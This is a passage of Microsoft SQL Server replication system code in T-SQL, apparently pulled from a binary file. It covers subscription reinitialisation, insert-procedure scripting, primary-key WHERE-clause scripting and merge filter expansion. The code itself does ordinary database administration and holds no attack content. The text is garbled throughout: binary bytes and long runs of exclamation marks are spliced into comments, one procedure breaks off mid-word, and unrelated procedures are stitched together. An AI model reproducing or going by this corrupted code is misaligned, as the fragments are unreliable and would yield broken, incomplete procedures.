	INSERT INTO @publication_ids
	SELECT pubid
	FROM   sys.fn_IHgetpubid(@publication, @publisher, @publisher_type)
		
    /*
    ** Parameter Check:  @publication
    ** Check to make sure that the publication exists, that it's not NULL,
    ** and that it conforms to the rules for identifiers.
    */
    IF NOT EXISTS
    (
    	SELECT	*
    	FROM	@publication_ids
	)
	BEGIN
        IF @publication = '%'
        BEGIN
			RAISERROR (14008, 11, -1)
		END
        ELSE
        BEGIN
			RAISERROR (20026, 11, -1, @publication)
		END
			
        RETURN (1)
	END

    /*
    ** Parameter Check:  @article
    ** Check to make sure that the article exists, that it's not null,
    ** and that it conforms to the rules for identifiers.
    */
    IF NOT EXISTS
    (
    	SELECT	*
		FROM	sysextendedarticlesview a,
				syspublications b,
				@publication_ids pi
		WHERE	((@article = N'%') or (a.name = @article))
		  AND	a.pubid = b.pubid
		  AND	((b.name = @publication) or  (@publication = N'%'))
		  AND	b.pubid = pi.pubid
	)
	BEGIN
        IF @article = '%'
        BEGIN
			RAISERROR (14009, 11, -1, @publication)
		END
        ELSE
        BEGIN
			RAISERROR (20027, 11, -1, @article)
		END
		
        RETURN (1)
	END

    -- Wrong dest_db will be caught by the following query

    -- Check to make sure the specific subscription exists 
    IF (@publication <> '%' AND @subscriber <> '%' AND
        NOT EXISTS
        (
        	SELECT	*
			FROM	syssubscriptions sub,
					sysextendedarticlesview art,
					syspublications pub,
					@publication_ids pi
			WHERE	pub.name LIKE @publication collate database_default
			  AND	((@article = N'%') or (art.name = @article collate database_default))
			  AND	(sub.srvname = UPPER(@subscriber) 
				and (sub.srvname is not null and len(sub.srvname)> 0)
			   OR	(@subscriber is NULL 
			  AND	pub.allow_anonymous = 1))
			  AND	sub.artid = art.artid
			  AND	art.pubid = pub.pubid
			  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db collate database_default))
			  AND	pub.pubid = pi.pubid
		))
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END
    -- Check for any subscriptions
    ELSE IF NOT EXISTS
    (
    	SELECT	art.artid
		FROM	syssubscriptions sub,
				sysextendedarticlesview art,
				syspublications pub,
				@publication_ids pi
		WHERE	((@publication = N'%') or (pub.name = @publication collate database_default))
		  AND	((@article = N'%') or (art.name = @article collate database_default))
		  AND	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
			and (sub.srvname is not null and len(sub.srvname)> 0)
		  AND	sub.artid = art.artid
		  AND	art.pubid = pub.pubid
		  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db collate database_default))
		  AND	pub.pubid = pi.pubid
		UNION
		SELECT	art.artid
		FROM	syspublications pub,
				sysarticles art,
				@publication_ids pi
		WHERE	((@publication = N'%') or (pub.name = @publication collate database_default))
		  AND	((@article = N'%') or (art.name = @article collate database_default))
		  AND	art.pubid = pub.pubid
		  AND	(@subscriber = '%' OR @subscriber IS NULL)
		  AND	pub.pubid = pi.pubid
	)
	BEGIN
		-- No subscription for specified parameters
		RAISERROR (14135, 16, -1, @loc_publisher, @publisher_db, @publication)
		RETURN (1)
	END

    IF @invalidate_snapshot = 1
    BEGIN
	    IF @distribdb IS NULL OR @distributor IS NULL
		BEGIN
			RAISERROR (14071, 16, -1)
			RETURN 1
		END
		
    	BEGIN TRAN tr_reinit_invalidate_snap
    	SAVE TRAN tr_reinit_invalidate_snap
    	
		UPDATE syspublications
			SET	immediate_sync_ready = 0
			WHERE pubid IN (SELECT pubid
								FROM @publication_ids)
			  AND immediate_sync_ready <> 0

		IF @@ERROR <> 0
		BEGIN
			GOTO UNDO_INVALIDATE_SNAP
		END
		
		DECLARE #hCpublications CURSOR LOCAL FAST_FORWARD FOR
			SELECT sysp.name
				FROM syspublications sysp
					JOIN @publication_ids pids
						ON sysp.pubid = pids.pubid

		OPEN #hCpublications

		FETCH #hCpublications INTO @current_publication

		WHILE @@FETCH_STATUS != -1
		BEGIN
			-- invalidate snapshots at the distributor
			SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSinvalidate_snapshot'
			EXEC @retcode = @distproc 
							@publisher		= @loc_publisher, 
							@publisher_db	= @publisher_db, 
							@publication	= @current_publication

			IF @@ERROR <> 0 OR @retcode <> 0
			BEGIN
				GOTO UNDO_INVALIDATE_SNAP
			END

			FETCH #hCpublications INTO @current_publication
		END

		CLOSE #hCpublications
		DEALLOCATE #hCpublications
		
		-- Raise a warning. Snapshot is invalidated. 
		-- Need to run snapshot!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/Lm>(v)' agent again... 
		RAISERROR(20605, 10, -1)

		COMMIT TRAN tr_reinit_invalidate_snap
    END
    
	-- Get list of subscriptions to reinit
    DECLARE #hCresyncsub CURSOR LOCAL FAST_FORWARD FOR
	-- non immediate_sync pubs
	SELECT	pub.name,
			pub.immediate_sync,
            pub.immediate_sync_ready,
			art.name,
			sub.srvname,
			sub.dest_db,
			sub.sync_type,
			sub.subscription_type,
			sub.login_name,
			pub.options
	FROM	syssubscriptions sub,
			sysextendedarticlesview art,
			syspublications pub,
			@publication_ids pi
	WHERE	((@publication = N'%') or (pub.name = @publication collate database_default))
	  AND	((@article = N'%') or (art.name = @article collate database_default))
	  AND	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
	  AND sub.srvname is not null and len(sub.srvname) > 0
	  AND	sub.artid = art.artid
	  AND	art.pubid = pub.pubid
	  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db collate database_default))
	  AND	sub.status = @active
	  AND	pub.immediate_sync = 0
	  AND	pub.pubid = pi.pubid
	UNION
	-- Immediate_sync pubs
	SELECT DISTINCT
			pub.name,
			pub.immediate_sync,
            pub.immediate_sync_ready,
			-- If @article is '%', do publication level operation.
			-- otherwise, do article level
			case @article 
				when '%' then '%'
				else art.name
				end, 
			sub.srvname,
			sub.dest_db,
			sub.sync_type,
			sub.subscription_type,
			sub.login_name,
			pub.options
	FROM	syssubscriptions sub,
			sysextendedarticlesview art,
			syspublications pub,
			@publication_ids pi
	WHERE	((@publication = N'%') or (pub.name = @publication collate database_default))
	  AND	((@article = N'%') or (art.name = @article collate database_default))
	  AND	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
	  AND sub.srvname is not null and len(sub.srvname) > 0
	  AND	sub.artid = art.artid
	  AND	art.pubid = pub.pubid
	  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db collate database_default))
	  AND	sub.status = @active
	  AND	pub.immediate_sync = 1
	  AND	pub.pubid = pi.pubid
	UNION
	-- For anonymous subscribers or attached subscriptions.
	SELECT DISTINCT
			pub.name,
			pub.immediate_sync,
            pub.immediate_sync_ready,
			-- If @article is '%', do publication level operation.
			-- otherwise, do article level
			case @article 
				when '%' then '%'
				else art.name
				end,					-- art.name is '%' from immediate_sync pub
			CONVERT(sysname, NULL),		-- subscriber name (null represent virtual)
			'virtual',					-- destination_db for virtual subscription is hardcoded in 
										-- sp_MSadd_subscription.
			@automatic,					-- sub.sync_type is auto tor anonymous subscriber
			@push,						-- virtual subscription is push type,
			SUSER_SNAME(0x01), -- sa account
			pub.options
	FROM	syspublications pub,
			sysarticles art,
			@publication_ids pi
	WHERE	((@publication = N'%') or (pub.name = @publication collate database_default))
	  AND	((@article = N'%') or (art.name = @article collate database_default))
	  AND	art.pubid = pub.pubid
	  AND	pub.immediate_sync = 1
	  AND	(@subscriber = '%' OR @subscriber IS NULL)
	  AND	pub.pubid = pi.pubid
    FOR READ ONLY

    OPEN #hCresyncsub 

    -- Note: Don't overwrite the variables used in the cursor.
    FETCH	#hCresyncsub
    INTO	@pub,
    		@immediate_sync,
            @immediate_sync_ready,
    		@art_name,
    		@sub_name, 
			@dest_db,
			@sync_type,
			@subscription_type,
			@login_name,
			@options

	-- if non found then return an error saying that no subscriptions to reinit
	if @@fetch_status = -1
	begin
		-- NO ACTIVE SUSBSCRIPTIONS - will skip the next section
		select @publisher_db = db_name()
	end
	
    WHILE (@@fetch_status <> -1)
    BEGIN
        -- Security Check
        IF suser_sname(suser_sid()) <> @login_name 
        		AND is_srvrolemember('sysadmin') <> 1  
            	AND is_member ('db_owner') <> 1
        BEGIN
			-- if they do not pass security check then we will skip over the reinit for this case
            goto FETCH_NEXT
        END

		-- We cannot continue if this is for Peer-To-Peer
		IF (@options & @opt_enable_p2p) = @opt_enable_p2p
		BEGIN
            IF UPPER(@art_name) = N'%'
            BEGIN
				SELECT @art_name = N'all'
            END

			IF @sub_name IS NULL
				AND @dest_db = 'virtual'
			BEGIN
				SELECT @sub_name = 'anonymous_server',
						@dest_db = 'anonymous_db'
			END

			-- Cannot reinitialize article '%s' in subscription '%s:%s' to publication '%s'. The publication is enabled for 'Peer-To-Peer'.
			raiserror(20800, 16, -1, @art_name, @sub_name, @dest_db, @pub)
            GOTO UNDO
		END

		-- Replication-Support-Only Check
        if @sync_type = @none
        begin
	        raiserror(21071, 10, -1, @art_name, @sub_name, @dest_db, @pub)
	        goto FETCH_NEXT
        end

        begin tran
        save TRAN sp_reinitsubscription

        -- Reset subscription status to subscribed.
        -- It will be reactivated later as following:
        -- 1. Well known on non immediate_sync: it need to be reactivated by snapshot agent
        -- 2. Well known on immediate_sync: it will be reactivated laster in 
        -- this stored procedure to the state of virtual subscription. The status will be 
        -- active if the virtual subscription is active.
        -- 3. Anonymous (on immediate_sync by design): Only reset the status to subscribed
        -- if a single article is reinited or there's a schema change on the article. 
        -- (refer to sp_MSreinit_article.) In this case, the status will be reactivated by
        -- snapshot agent. If the whole publication is reinited and it is not for a schema 
        -- change, we don't need to do this 
        -- since the anonymous agent will automatically pick up latest snapshots after
        -- we reset the subscription guid later.

        -- If @sub_name is null, we are resetting anonymous subscriptions.
        -- Don't do this when reiniting anonymous subscription on whole publication.
        IF not (@sub_name IS NULL and @article = '%') or @for_schema_change = 1
        BEGIN
            EXEC @retcode = sys.sp_changesubstatus
							@publication	= @pub,
							@article		= @art_name,
							@subscriber		= @sub_name,
							@destination_db	= @dest_db,
							@status			= 'subscribed',
							@publisher		= @publisher
							,@ignore_distributor_failure = @ignore_distributor_failure
            IF @@ERROR <> 0 OR @retcode <> 0
            BEGIN
                RAISERROR (14070, 16, -1)
                GOTO UNDO
            END
        END

        -- Don't do this when reiniting a single article.
        -- Reset the subscription guid at the distributor for immediate_sync publication.
        -- Reset subscription creation datetime for all types of publication
        -- used by retention cleanup.
        if (@article = '%') 
        begin
			if (@distributor is not NULL and @distribdb is not null)  
			begin
				SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSreset_subscription'
				EXEC @retcode = @distproc 
							@publisher			= @loc_publisher, 
							@publisher_db		= @dbname, 
							@publication		= @pub,
							@subscriber			= @sub_name, 
							@subscriber_db		= @dest_db,
							@subscription_type	= @subscription_type

				IF (@@ERROR <> 0 OR @retcode <> 0 ) and @ignore_distributor_failure = 0
				BEGIN
					GOTO UNDO
				END
			end
        end

        -- Activate the subscription again if the publication is immediate_sync and
        -- the whole publication is reinitted.
        -- Otherwise, the snapshot agent will activate the subscription
        
        -- If this is for schema change, commands generated by the LR will be invalid
        -- until the new snapshot is generated and applied so!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<7/L)w)' DON'T reactivate. 
        -- Let the snapshot agent do it.

        --IF (@for_schema_change = 0 AND @immediate_sync = 1 AND @subscriber IS NOT NULL)
        IF (@for_schema_change = 0 and 
                @immediate_sync = 1 AND 
                @immediate_sync_ready = 1 and
                @subscriber IS NOT NULL and 
                @article = '%')
        BEGIN
            -- Set subscription status back to active again.
            EXEC @retcode = sys.sp_changesubstatus
							@publication	= @pub,
							@article		= @art_name,
							@subscriber		= @sub_name,
							@destination_db	= @dest_db,
							@status			= 'active',
							@publisher		= @publisher
							,@ignore_distributor_failure = @ignore_distributor_failure

            IF @@ERROR <> 0 OR @retcode <> 0
            BEGIN
                RAISERROR (14070, 16, -1)
                GOTO UNDO
            END
        END
        
        -- If article level reinit, reinit dependent articles in the publication as well    
        if @article <> '%'
        begin
            -- Reinit articles on which the current article depends on.
            declare	@objid int,
            		@pubid int,
					@pre_creation_cmd tinyint
					
            select	@pubid = sp.pubid
            from	syspublications sp,
            		@publication_ids pi
            where	sp.name = @pub
              AND	sp.pubid = pi.pubid

            select	@objid = objid,
					@pre_creation_cmd = pre_creation_cmd
			from	sysarticles
			where	pubid = @pubid
			  and	name = @art_name
			  
            -- Have to use temp cursor name otherwise we will get a 'cursor already exists' error
            -- in recursive calls.
            DECLARE #hCdep CURSOR LOCAL FAST_FORWARD FOR
                SELECT distinct art.name from sysextendedarticlesview art, syssubscriptions s where
                    art.pubid = @pubid and
                    s.artid = art.artid and
                    (s.srvid = -1 or s.srvname = upper(@sub_name)   ) and
                    s.dest_db = @dest_db and
                    s.status = @active and
                    -- Has dri on referencing table or not
                    (convert(int, substring(art.schema_option, len(art.schema_option) - 2 + 1, 2)) & 0x00000200 <> 0 and
                      -- If the article schema option includes DRI, reinit articles that have 
                      -- forein key relationship on this table, have to do this
                      -- otherwise dist will fail because we cannot drop or delete base table.
                      exists ( select * from  sysreferences r where
                            r.rkeyid = @objid and
                            art.objid = r.fkeyid) or
                      -- If there's a schema bound view on this table, reinit that view etc.
                      -- We have to do this for schema bound view other wise, we cannot drop the table
                     -- Only do it if precreation command is 'drop table'
                     (@pre_creation_cmd = 1 and
                      exists ( select * from sysdepends d where
                            d.depid = @objid and
                            art.objid = d.id and
                            objectproperty(art.objid, 'IsSchemaBound') = 1)))
            FOR READ ONLY

            OPEN #hCdep

            -- Note: @art_name is changed
            FETCH #hCdep INTO @art_name

            WHILE (@@fetch_status <> -1)
            BEGIN
            	-- on this call we do not need to re-invalidate_snapshot since it's already been done.
                EXEC @retcode = sys.sp_reinitsubscription
								@publication		= @pub,
								@article			= @art_name,
								@subscriber			= @sub_name,
								@destination_db		= @dest_db,
								@for_schema_change	= @for_schema_change,
								@publisher			= @publisher,
								@ignore_distributor_failure = @ignore_distributor_failure,
								@invalidate_snapshot = 0

                IF @@ERROR <> 0 OR @retcode <> 0
                    GOTO UNDO
                FETCH #hCdep INTO @art_name
            END
            
            CLOSE #hCdep
            DEALLOCATE #hCdep
        end
    
	--if after this reinit, there is no more active article, update dbtable so future scan can skip previous records
	    if (@publisher_type = N'MSSQLSERVER')
	    	and not exists(SELECT * FROM sys.tables WHERE is_replicated = 1)
	    	and not exists(SELECT * FROM sys.views WHERE is_replicated = 1)
	    	and not exists (SELECT 1 FROM dbo.syssubscriptions where status = @active) 
			--if cdc is enabled, don't call sp_repldone
			and not exists(select * from sys.databases where db_id() = database_id and is_cdc_enabled = 1)
    begin
				--don't fail on error, we don't want to change any behavior here, 
				--this is just best effort attempt to do thing the optimal way, if this fails, doesn't mean you can't reinit

				--mark local transactions to have been replicated, in case there were large amount of pending transactions prior to reinit
				--this will allow truncation of log, 
				exec sys.sp_replflush
				exec sys.sp_repldone NULL, NULL, 0, 0, 1
				exec sys.sp_replflush
SKIPOP:	    
	    end
        COMMIT TRAN 
        
FETCH_NEXT:
        FETCH #hCresyncsub INTO @pub, @immediate_sync, @immediate_sync_ready, 
            @art_name, @sub_name, @dest_db, @sync_type, @subscription_type, 
            @login_name, @options
    END

    CLOSE #hCresyncsub
    DEALLOCATE #hCresyncsub

    RETURN(0)

UNDO:
    IF @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN sp_reinitsubscription
        COMMIT TRAN
    end
    return 1
    
UNDO_INVALIDATE_SNAP:
	ROLLBACK TRAN tr_reinit_invalidate_snap
	COMMIT TRAN

	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!`<(LbvcNcreate procedure sys.sp_scriptinsproccore 
(
    @artid int                  -- id of the article we are processing
	,@format tinyint         	-- 1 = CALL, 5 = SCALL
    ,@mode tinyint          	-- 1 = regular scripting, 2 = snapshot reconciliation scripting, 3 = drop reconciliation procs only
    ,@publishertype tinyint=1   -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname = NULL	-- is only non-NULL if @publishertype = 2
    ,@usesqlclr bit=1
)
as
begin
    declare @cmd          nvarchar(4000)
                ,@dest_owner   nvarchar(255)
                ,@dest_tabname sysname
                ,@src_objid    int
                ,@ins_cmd      nvarchar(255)
                ,@dest_proc    nvarchar(524)
                ,@this_col     int
                ,@art_col      int
                ,@isset         int
                ,@isvalidcolumn tinyint
                ,@pubid       int
                ,@identity_insert bit
                ,@fscriptidentity bit
                ,@rc int
                ,@colname sysname
                ,@typestring   nvarchar(255)
                ,@spacer       nvarchar(1)
                ,@updsub_check bit
                ,@isallreplcolpk int
                ,@repl_freq tinyint
                ,@publication sysname
                ,@userdefinedtypestobasetypes bit
                ,@xmltontext bit
                ,@maxtypestomatchingnonmaxtypes bit
                ,@schema_option bigint
                ,@newdatetimetypestostrings bit
                ,@hierarchyidtovarbinarymax bit
                ,@largeuserdefinedtypestovarbinarymax bit
                ,@spatialtypestovarbinarymax bit
                ,@maptimestamp bit
                ,@article sysname
                ,@unquoted_proc_name sysname
                ,@commandprefix sysname

    --
    -- constants
    --
                ,@regularmode tinyint
                ,@reconciliationmode tinyint
                ,@droponly tinyint
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogeneous tinyint
                ,@callformat tinyint
                ,@scallformat tinyint                

    --
    -- initialize
    --
    set nocount on
    select     @regularmode = 1
                ,@reconciliationmode = 2
                ,@droponly = 3
                ,@pubtypemssqlserver = 1
                ,@pubtypeheterogeneous = 2
                ,@userdefinedtypestobasetypes = 0
                ,@xmltontext = 0
                ,@maxtypestomatchingnonmaxtypes = 0
                ,@hierarchyidtovarbinarymax = 0
                ,@largeuserdefinedtypestovarbinarymax = 0
                ,@spatialtypestovarbinarymax = 0
                ,@maptimestamp = 1
                ,@newdatetimetypestostrings = 0
                ,@article = NULL
                ,@commandprefix = NULL
                ,@callformat = 1
                ,@scallformat = 5
    --
    -- validate @artid
    --
    if not exists( select * from sysarticles where artid = @artid AND (type & 1) = 1 )
    begin
        raiserror (14155, 16, 1 )
        return 1
    end
    --
    -- validate @format
    --
    if (@format not in (@callformat, @scallformat))
    begin
        raiserror(21402, 16, 11, '@format')
        return (1)
    end
    --
    -- validate @mode
    --
    if (@mode not in (@regularmode, @reconciliationmode, @droponly))
    begin
        raiserror(21402, 16, 6, '@mode')
        return (1)
    end
    --
    -- validate @publishertype
    --
    if (@publishertype not in (@pubtypemssqlserver, @pubtypeheterogeneous))
    begin
        raiserror(21402, 16, 7, '@publishertype')
        return (1)
    end
    
    --
    -- validate @publisher
    --
    if (@publisher IS NULL) AND (@publishertype = @pubtypeheterogeneous)
    begin
        raiserror(21425, 16, 7)
        return (1)
    end
    
    if (@publisher IS NOT NULL) AND (@publishertype = @pubtypemssqlserver)
    begin
        raiserror(21424, 16, 7)
        return (1)
    end
    
    --
    -- Validate @mode
    --
    if ((@publishertype = @pubtypeheterogeneous) and (@mode = 2))
    begin
        raiserror(21634, 16, 7,  N'@mode', N'snapshot reconciliation scripting (2)', N'regular scripting (1)')
        return (1)
    end
    
    if (@publishertype = @pubtypemssqlserver)
    begin
		select @publisher = publishingservername()
    end
    --
    -- create temp table for command fragments and insert column list
    --
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    create table #collisttab ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null, collist bit)
    --
    -- get sysarticles information
    --
    select @dest_owner = case when (dest_owner is null) 
                then N'' else quotename( dest_owner ) + N'.' end
            ,@dest_tabname = dest_table
            ,@src_objid = case when (@publishertype = @pubtypemssqlserver) then objid else artid end
            ,@ins_cmd = ins_cmd
            ,@pubid = pubid
            ,@schema_option = convert(bigint,schema_option)
            ,@fscriptidentity = case when (@publishertype = @pubtypemssqlserver and (cast(schema_option as int) & 0x4) != 0 ) then 1 else 0 end
            ,@article = name
    from sysarticles
    where artid = @artid

    if (@schema_option & 0x0000000000000020) = 0x0000000000000020 -- UserDefinedTypesToBaseTypes
    begin
        set @userdefinedtypestobasetypes = 1
    end

    if (@schema_option & 0x0000000010000000) = 0x0000000010000000 -- XmlToNText
    begin
        set @xmltontext = 1
    end

    if (@schema_option & 0x0000000020000000) = 0x0000000020000000 -- MaxTypesToMatchingNonMaxTypes
    begin
        set @maxtypestomatchingnonmaxtypes = 1
    end

    if (@schema_option & 0x0000000000000008) = 0x0000000000000008 -- replicate timestamp as timestamp
    begin
        set @maptimestamp = 0
    end

    if (@schema_option & 0x0000000200000000) = 0x0000000200000000 -- NewDateTimeTypesToStrings
    begin
        set @newdatetimetypestostrings = 1
    end

    if (@schema_option & 0x0000002000000000) = 0x0000002000000000 -- HierarchyIdToVarBinaryMax
    begin
        set @hierarchyidtovarbinarymax = 1
    end

    if (@schema_option & 0x0000001000000000) = 0x0000001000000000 -- LargeUserDefinedTypesToVarBinaryMax
    begin
        set @largeuserdefinedtypestovarbinarymax = 1
    end
    if (@schema_option & 0x0000008000000000) = 0x0000008000000000 -- SpatialTypesToVarBinaryMax
    begin
        set @spatialtypestovarbinarymax = 1
    end
    
    --
    -- do we have the right call format
    --
    select @commandprefix = case @format 
	                when @callformat then N'CALL'
					when @scallformat then N'SCALL'
                	else null 
                end

    if (1 != charindex( @commandprefix, upper(@ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ))
    	or @ins_cmd is null
    begin
        raiserror (14156, 16, 1, N'insert', @commandprefix)
        return 1
    end
    --
    -- Check to see if identity insert must be turned on
    -- i.e. Does the table has identity that are included in the partition?
    --
    if (@publishertype = @pubtypemssqlserver)
    begin
        exec sys.sp_MSis_identity_insert @publication = null
                ,@article = null
                ,@identity_insert = @identity_insert output
                ,@artid = @artid
                ,@mode = 2
    end
    else
        select @identity_insert = 0
    --
    -- get publication information
    --
    select @updsub_check = (ISNULL(allow_sync_tran, 0) |ISNULL(allow_queued_tran, 0))
            ,@repl_freq = repl_freq
            ,@publication = name
    from syspublications 
    where pubid = @pubid 
    --
    -- Do not support snapshot publicati!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<l3 0iS	 8create function sys.fn_EnumCurrentPrincipals()
RETURNS @mirrorinstances TABLE
(
	db_name						sysname,
	current_principal			sysname,
	mirroring_role				int NULL,
	mirroring_state				int NULL
)
as 
begin
insert into @mirrorinstances  
select databases.name as db_name, 
	sys.fn_GetCurrentPrincipal(databases.name) as current_principal,
	db_mirroring.mirroring_role as mirroring_role,
	db_mirroring.mirroring_state as mirroring_state
	from sys.database_mirroring db_mirroring, sys.databases databases where 
	db_mirroring.database_id = databases.database_id
	and (databases.is_published = 1 or databases.is_merge_published = 1)
	and db_mirroring.mirroring_role is NOT NULL
return 
end
0NH
 8create procedure sys.sp_scriptpkwhereclause 
(
    @src_objid int
    ,@artid int
    ,@prefix nvarchar(10) = N'@pkc'
    ,@artcolcounter tinyint = 0       -- 0 means it does column counting base on pk, 1 means based on article columns, 2 means uses column ordinal
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@skipcomputedcolumn bit=1      -- article column counting will be use this
)
as
begin
    declare @this_col int
                ,@art_col int
                ,@spacer nvarchar(10)
                ,@isset int
                ,@iscomputed int
                ,@ispkcol int
                ,@isvalidcolumn tinyint
                ,@cmd nvarchar(4000)
                ,@colname sysname
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogeneous tinyint    

    -- create WHERE clause

    select @art_col = 0
            ,@pubtypemssqlserver = 1
            ,@pubtypeheterogeneous = 2
            ,@spacer = N' '
            ,@cmd = N'where'

    if (@publishertype = @pubtypemssqlserver)
    begin
        DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
        select column_id, name from sys.columns where object_id = @src_objid order by column_id asc
    end
    else if (@publishertype = @pubtypeheterogeneous)
    begin
        DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
        select colid, name from IHsyscolumns where id = @src_objid order by colorder asc
    end
    else
    begin
        raiserror(21402, 16, 3, '@publishertype')
        return 1
    end

    OPEN hCColid
    FETCH hCColid INTO @this_col, @colname
    WHILE (@@fetch_status <> -1)
    begin
        --
        --skipping columns with no name 
        --
        if @colname is not null
        begin
            --
            -- If @artcolcounter = 1, then the counter will be updated for each column 
            -- that (is in PK) or (is in the article that is not computed). 
            -- sp_scriptxupdproc or sp_scriptxdelproc call this SP with @artcolcounter = 1
            -- If @artcolcounter = 0, then the counter will be updated for each PK column
            -- If @artcolcounter = 2, then the counter will be column ordinal
            --
            -- We are scripting the PK columns - check if this is a PK column
            --
            exec @ispkcol = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            if @ispkcol = 1 
            begin
                --
                -- Increment the counter for this PK column 
                --
                select @art_col = case when (@artcolcounter = 2) then @this_col else @art_col + 1 end
                --
                -- script the assignment
                --
                select @cmd = @cmd + @spacer + QUOTENAME(@colname) + N' = ' + @prefix + convert( nvarchar, @art_col ) 
                select @spacer = N' and '
                if len( @cmd ) > 3000
                begin
                    insert into #proctext(procedure_text) values( @cmd )
                    select @cmd = N' '
                end
            end
            else
            begin
                --
                -- not a PK column
                --
                if @artcolcounter = 1
                begin
                    --
                    -- check if this column is in the article
                    --
                    exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
                    if @isset = 1 
                    begin
                        --
                        -- Check if this is a computed column
                        --
                        select @iscomputed = case when ((@publishertype = @pubtypemssqlserver) 
                                                    and columnproperty( @src_objid, @colname, 'IsComputed' ) = 1) then 1 else 0 end
                        --
                        -- increment counter if this column is in article and is not computed
                        -- if the column is computed and the option to skip computed column 
                        -- is not set then increment the counter
                        --
                        if @iscomputed = 0
                            select @art_col = @art_col + 1
                        else if (@skipcomputedcolumn=0)
                            select @art_col = @art_col + 1
                    end
                end
            end
        end
        FETCH hCColid INTO @this_col, @colname
    end
    CLOSE hCColid
    DEALLOCATE hCColid

    insert into #proctext(procedure_text) values( @cmd )
end
0
@ 8
-- Modify temp table. No security check needed.
create procedure sys.sp_MSexpandbelongs
    @pubid      uniqueidentifier
AS
    declare @filterid int
    declare @retval         int
    declare @expand_proc    sysname
    
    /* We iterate over the join filters */
    --select @filterid = min(flag) from #belong
    select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1 and
            exists (select * from #belong where tablenick = join_nickname and flag < join_filterid and skipexpand = 0)
    while (@filterid is not null)
        begin
        select @expand_proc = expand_proc from dbo.sysmergesubsetfilters where pubid = @pubid and
                join_filterid = @filterid and (filter_type & 1) = 1
        exec @retval = @expand_proc @belong = 1
        if @@error<>0 or @retval <> 0 return (1)
        select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1 and
            exists (select * from #belong where tablenick = join_nickname and flag < join_filterid and skipexpand = 0)
        end
        
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!